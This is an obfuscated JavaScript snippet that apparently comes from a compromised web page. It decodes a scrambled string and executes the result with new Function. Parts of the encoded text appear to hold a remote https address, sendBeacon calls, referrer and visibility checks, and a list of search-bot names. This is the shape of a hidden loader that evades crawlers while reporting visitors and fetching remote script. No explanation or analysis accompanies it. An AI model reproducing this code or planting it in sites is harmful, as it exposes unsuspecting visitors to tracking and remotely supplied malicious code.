Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();